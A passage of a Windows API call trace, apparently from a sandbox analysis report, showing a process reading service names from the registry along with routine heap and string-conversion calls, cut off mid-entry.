RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.968] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0228.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0228.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.968] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0228.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0228.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.969] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0228.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0228.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.969] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0228.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0228.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.969] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0228.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0228.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.969] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0228.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0228.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.970] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0228.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0228.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.970] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0228.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0228.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.970] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0228.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0228.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.971] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0228.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0228.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.971] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0228.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0228.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.971] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0228.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0228.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.972] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0228.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0228.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.972] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0228.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0228.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.972] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0228.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0228.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0228.972] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0228.972] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0228.973] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0228.973] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0228.973] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0228.973] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0228.973] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0229.010] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0229.010] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0229.010] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0229.010] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0229.010] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0229.011] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0229.011] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0229.011] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0229.011] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0229.011] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0229.011] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0229.011] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0229.011] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0229.011] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0229.011] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0229.011] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0229.011] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0229.011] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0229.011] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0229.012] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0229.012] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0229.012] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0229.012] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0229.012] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0229.012] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0229.012] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0229.012] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0229.012] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0229.012] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0229.012] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0229.012] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0229.012] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0229.012] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0229.013] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0229.013] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0229.013] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0229.013] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0229.013] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0229.013] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0229.013] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0229.013] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0229.013] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0229.013] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0229.013] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0229.013] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0229.013] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0229.013] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0229.014] RegEnumKeyW (in: hKey=0xc4, 